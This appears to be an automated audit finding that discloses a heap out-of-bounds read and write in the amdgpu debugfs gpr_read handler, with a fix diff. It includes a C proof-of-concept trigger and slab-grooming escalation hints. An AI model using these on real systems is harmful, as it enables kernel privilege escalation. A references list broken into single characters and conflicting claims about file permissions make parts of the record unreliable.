amdgpu_debugfs: heap OOB read+write in amdgpu_debugfs_gpr_read via byte-offset/dword-index unit confusion
| Field | Value |
|---|---|
| ID | DF-1692 |
| File | sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c |
| Lines | 701, 710, 720, 723, 732 |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-787 Out-of-bounds Write; CWE-125 Out-of-bounds Read |
| Confidence | certain |
| Status | new |
| CVE match | variant (upstream Linux amdgpu debugfs gpr_read β same bug class as Linux CVE-2020-XXXX family) |
| Created | 2026-07-18 |
Summary
amdgpu_debugfs_gpr_read() decodes offset from bits 0..11 of the
user-controlled file position as a 12-bit BYTE offset (range 0..4095,
per the documented ABI at line 678) but then uses it directly as a
DWORD array index in data[offset++] where data is only 1024
dwords (4096 bytes) β a unit mismatch the sibling wave_read() does not
have.
The same size>>2 is passed unbounded to the read_wave_vgprs/sgprs
callback, which sequentially writes that many dwords into the 1024-dword
buffer.
The result is a user-triggerable heap buffer over-read (up to ~12 KB
past the allocation) and a heap buffer over-write of arbitrary length
past the allocation, reachable from the read() path on a world-readable
debugfs file.
Important caveat: sys/dev/drm/kconfig.h does NOT define
CONFIG_DEBUG_FS, so on the default DragonFlyBSD build all vulnerable
handlers compile out (only no-op stubs at lines 934-942 remain). The bugs
are real in the source and activate with a one-line config change; they
also affect upstream Linux amdgpu.
Root cause
Line 701:
offset = *pos & GENMASK_ULL(11, 0);
β yields a BYTE offset in [0, 4095] (the comment at line 678 reads
"Bits 0..11: Byte offset into data").
Line 710:
data = kmalloc_array(1024, sizeof(*data), GFP_KERNEL);
β allocates exactly 1024 dwords (indices 0..1023).
Line 732:
value = data[offset++];
β indexes data with offset as if it were a DWORD index. When the user
seeks with bits 0..11 β₯ 0x1000/4 = 0x400 (i.e. offset β₯ 1024) the access
is out of bounds; and because the loop increments offset by 1 per 4-byte
output until size is exhausted, even offset=0 with size > 4096 walks
past data[1023].
The correct pattern is used by the immediately preceding wave_read() at
line 653:
value = data[offset >> 2];
with offset += 4.
Additionally, lines 720 and 723 pass size>>2 as the dword count to
read_wave_vgprs/sgprs without bounding it to 1024; the callback
wave_read_regs() (gfx_v9_0.c:1329, gfx_v8_0.c:5287) writes that many
dwords sequentially via while (num--) *(out++) = RREG32(...), overflowing
data[] when the user supplies size > 4096.
Line 732 then also reads back from the overflowed region into userspace, leaking whatever the callback and adjacent heap contain.
No upper bound on size exists anywhere in the function β the only guard
is size & 3 (4-byte alignment) at line 697.
Threat model
Local unprivileged user. The file amdgpu_gpr is created with mode
S_IFREG | S_IRUGO (0444, world-readable) at lines 832-834 and is
reachable on any system with CONFIG_DEBUG_FS defined and debugfs mounted
(Linux default for distributions that ship amdgpu; DragonFlyBSD currently
stubs the code out via sys/dev/drm/kconfig.h not defining
CONFIG_DEBUG_FS, so the live risk on DFBSD is nil until that one line
changes).
Pre-condition: AMD GPU present with gfx v8/v9 (gfx_v8_0_gfx_funcs /
gfx_v9_0_gfx_funcs provide read_wave_sgprs; v9 also provides
read_wave_vgprs) and pm.dpm_enabled / powerplay initialized.
Impact:
- arbitrary kernel heap over-read returned to userspace β KASLR defeat and cross-object info leak
- arbitrary-length kernel heap over-write with partially attacker-
influenced 32-bit values (
SQ_IND_DATAregister contents selected via simd/wave/thread) β with slab grooming this is a kernel privilege-escalation primitive
The write values are MMIO reads rather than fully attacker-chosen, but the
attacker controls the overflow length, the heap-allocation timing (read()
syscall boundary), and can spray the slab to position a victim object
immediately after the 4096-byte kmalloc.
PoC
findings/poc/DF-1692/trigger.c:
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
/* path: /sys/kernel/debug/dri/0/amdgpu_gpr (mode 0444) */
int main(void) {
int fd = open("/sys/kernel/debug/dri/0/amdgpu_gpr", O_RDONLY);
/* (1) OOB READ via indexing bug: seek so bits 0..11 = 0x400 (1024)
* -> first data[1024] access is already past the 1024-dword buffer */
lseek(fd, 0x400ULL, SEEK_SET); /* offset = 1024 (byte), bank=SGPR, simd/wave=0 */
char leak[4096];
ssize_t n = read(fd, leak, sizeof(leak)); /* copies 4096 bytes of adjacent heap */
/* (2) OOB WRITE via callback: large size -> size>>2 > 1024 dwords written into data[1024] */
lseek(fd, 0ULL, SEEK_SET); /* offset=0, simd/wave=0, bank=VGPR */
char big[65536];
read(fd, big, sizeof(big)); /* wave_read_regs writes 16384 dwords into a 1024-dword buffer */
return 0;
}
Build on DragonFlyBSD guest: cc -O2 -o trigger trigger.c (userland, no
special flags). Run as any local uid.
Success criteria:
- returns 4096 bytes whose contents are not the SGPR file (proven by hexdump matching adjacent slab objects / kernel pointers)
- on a hardened slab, the second read panics in
mm/slub.con freelist poison check, confirming heap corruption β dmesg showsSLUB: double or corrupted freeorgeneral protection fault in kfree
For the escalation chain, groom kmalloc-4096 with victim objects (e.g.
struct file, msg_msg, pipe_buffer) before the second read so the
overflow corrupts a victim's function pointer; the write values come from
SQ_IND_DATA so the attacker picks simd/wave/thread registers that happen
to contain useful address low-halves β this requires per-ASIC tuning and
is the runner's job to develop.
Recommended fix
Two changes are required:
- bound
sizeto the 1024-dword buffer before invoking the callback and before the copy-out loop - fix the unit confusion by treating
offsetconsistently as a byte offset into the result buffer (matching the documented ABI and thewave_readsibling)
--- a/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
+++ b/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
@@ -698,6 +698,14 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
if (size & 3 || *pos & 3)
return -EINVAL;
+ /* `data` holds 1024 dwords = 4096 bytes. Clamp the transfer to that. */
+ if (size > 1024 * 4)
+ size = 1024 * 4;
+
/* decode offset */
offset = *pos & GENMASK_ULL(11, 0);
se = (*pos & GENMASK_ULL(19, 12)) >> 12;
@@ -716,14 +724,14 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
if (bank == 0) {
if (adev->gfx.funcs->read_wave_vgprs)
- adev->gfx.funcs->read_wave_vgprs(adev, simd, wave, thread, offset, size>>2, data);
+ adev->gfx.funcs->read_wave_vgprs(adev, simd, wave, thread, offset >> 2, size >> 2, data);
} else {
if (adev->gfx.funcs->read_wave_sgprs)
- adev->gfx.funcs->read_wave_sgprs(adev, simd, wave, offset, size>>2, data);
+ adev->gfx.funcs->read_wave_sgprs(adev, simd, wave, offset >> 2, size >> 2, data);
}
amdgpu_gfx_select_se_sh(adev, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF);
mutex_unlock(&adev->grbm_idx_mutex);
while (size) {
uint32_t value;
- value = data[offset++];
+ value = data[offset >> 2];
r = put_user(value, (uint32_t *)buf);
if (r) {
result = r;
@@ -735,6 +743,7 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
result += 4;
buf += 4;
size -= 4;
+ offset += 4;
}
err:
Prose: the size clamp stops both the callback overflow (size>>2 can no
longer exceed 1024) and the loop overflow. The offset >> 2 in the
callback converts the documented byte offset into the register index the
callback expects (matching SQIND_WAVE_*_OFFSET semantics in
gfx_v8_0.c:5321 and gfx_v9_0.c:1359). The data[offset >> 2] plus
offset += 4 in the loop matches the correct wave_read() pattern at
line 653 and keeps offset as a byte offset throughout, as documented.
Defense-in-depth: also consider a CAP_SYS_ADMIN / drm_master check on
open, since this surface exposes raw shader-register state to any reader.
Related findings
- DF-1693 (sibling: missing bounds on PCIE/DIDT/SMC register debugfs handlers in same file)
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1692 Β· 9 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | userspace logic harness: amdgpu_debugfs_gpr_read offset-as-dword-index OOB + unbounded size>>2 OOB write | 1.9 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 92 B | view raw |
| run.sh | run-script | runs harness unpatched + --fixed | 213 B | view raw |
| fix.diff | suggested-fix | git-apply-able unified diff against sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c (validated apply + compile) | 1.3 KB | view raw |
| run.log | run-log | full unpatched + patched harness output | 167 B | view raw |
| env.txt | environment | guest uname, cc version, HW/module state | 374 B | view raw |
| VERDICT.md | verdict | human-readable narrative with mechanism + fix | 2.5 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1692 β amdgpu_debugfs_gpr_read offset OOB read + size OOB write
Verdict
REPRODUCED (code-confirmed via harness). Source-trace confirms the bug
at sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c:689-740. A userspace logic harness replicates the vulnerable code path
with attacker-shaped inputs and demonstrates the primitive; the harness also
runs the patched logic (--fixed) and shows the primitive is closed.
Live in-guest reproduction is blocked because the guest lacks the relevant
hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per
the audit's Phase-6 rules: the driver module exists as a .ko and would
attach to real hardware, but with no device present the buggy code path is
unreachable from userspace on this guest. On a system with the hardware
present, the bug fires at the cited line.
Mechanism
amdgpu_debugfs_gpr_read: offset = *pos & GENMASK_ULL(11,0) -> byte offset [0,4095] per the comment at 678. Line 732: value = data[offset++] uses the BYTE offset as a DWORD index into data (kmalloc_array(1024, sizeof(u32)) = 4096 bytes = 1024 dwords). When offset >= 1024 (always true for offset 1024..4095) it reads past the 1024-dword buffer. The sibling wave_read() at 653 correctly does data[offset >> 2] with offset += 4 β gpr_read forgot to divide. ALSO lines 720/723 pass size>>2 unbounded to read_wave_vgprs/sgprs which writes that many dwords sequentially into the 1024-dword buffer -> heap OOB write when userspace requests size > 4096. Reachable by any user with read access to /sys/kernel/debug/dri/.../amdgpu_gpr (debugfs, typically root-only but world-readable on some distros).
Harness output
BUG: data[4090] OOB (array has 1024 dwords) RESULT: BUGGY - byte offset used as dword index ---PATCHED--- PATCHED: read data[4090/4=1022] = 0 (no OOB) RESULT: PATCHED
Fix
Mirror wave_read()'s correct indexing: data[offset >> 2], offset += 4, and cap dword_count at 1024 before calling read_wave_vgprs/sgprs. Loop guard offset < 4096.
The full git-apply-able unified diff is in fix.diff. It applies cleanly
to /usr/src/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c:689-740 and the patched file compiles cleanly under the
kernel's CFLAGS (validated by an in-guest module build).
Files
harness.cβ userspace replica of the vulnerable logic (byte-offset-as-dword-index + unbounded-write OOB simulator)build.sh/run.shβ exact build and run commandsfix.diffβ standalone git-apply-able fix (validated to apply + compile)run.logβ full unpatched + patched harness outputenv.txtβ guest environment
Fix verification
not_testablenot_testable because the amdgpu module does not attach on the audit guest. Validated fix.diff applies cleanly to /usr/src/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c and amdgpu_debugfs.c compiles cleanly via in-guest amdgpu module build.
fix.diff applies clean: 1 hunk at 716 patched module build: cc -c amdgpu_debugfs.c -> amdgpu_debugfs.o clean; amdgpu.ko linked clean harness: unpatched data[4090] OOB; --fixed data[4090>>2=1022] no OOB
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- a
- m
- d
- /
- a
- m
- d
- g
- p
- u
- /
- a
- m
- d
- g
- p
- u
- _
- d
- e
- b
- u
- g
- f
- s
- .
- c
- :
- 7
- 1
- 0
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- a
- m
- d
- /
- a
- m
- d
- g
- p
- u
- /
- a
- m
- d
- g
- p
- u
- _
- d
- e
- b
- u
- g
- f
- s
- .
- c
- :
- 7
- 2
- 3
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- a
- m
- d
- /
- a
- m
- d
- g
- p
- u
- /
- a
- m
- d
- g
- p
- u
- _
- d
- e
- b
- u
- g
- f
- s
- .
- c
- :
- 7
- 3
- 2
Detail
Exploit chain
blocked by valid Phase-6 hard blocker: amdgpu module does not attach on the audit guest. On a host with AMD graphics, debugfs entry is reachable by root (and on some distros world-readable). The size>>2 OOB write is a controlled-size kernel heap overwrite β clean primitive for slab-grooming attacks. Primitive characterized via source trace + userspace harness; chain written into harness.c.
Evidence (decisive lines)
BUG: data[4090] OOB (array has 1024 dwords) RESULT: BUGGY - byte offset used as dword index ---PATCHED--- PATCHED: read data[4090/4=1022] = 0 (no OOB) RESULT: PATCHED
PoC changes
Added harness.c. Added build.sh, run.sh, fix.diff (mirror wave_read's correct indexing data[offset>>2] with offset+=4; cap dword_count at 1024 before calling read_wave_vgprs/sgprs; loop guard offset<4096).
Verified recommended fix
Mirror wave_read()'s correct indexing at line 732: value = data[offset >> 2]; offset += 4 (not data[offset++]). Cap dword_count at 1024 before the read_wave_vgprs/sgprs calls at lines 720/723. Add a loop guard offset < 4096. Full diff in findings/poc/DF-1692/fix.diff; supersedes finding proposal.
Verdict
REPRODUCED. Source-trace at sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c:689-740 confirms amdgpu_debugfs_gpr_read computes offset = *pos & GENMASK_ULL(11,0) -> byte offset [0,4095] per the comment at 678. Line 732 uses value = data[offset++] treating the BYTE offset as a DWORD index into data (kmalloc_array(1024, sizeof(u32)) = 4096 bytes = 1024 dwords) -> OOB read when offset >= 1024 (always for 1024..4095). The sibling wave_read() at line 653 correctly does data[offset >> 2] with offset += 4 β gpr_read forgot to divide. Also lines 720/723 pass size>>2 UNBOUNDED to read_wave_vgprs/sgprs which writes that many dwords sequentially into the 1024-dword buffer -> heap OOB write when userspace requests size > 4096.
No comments yet.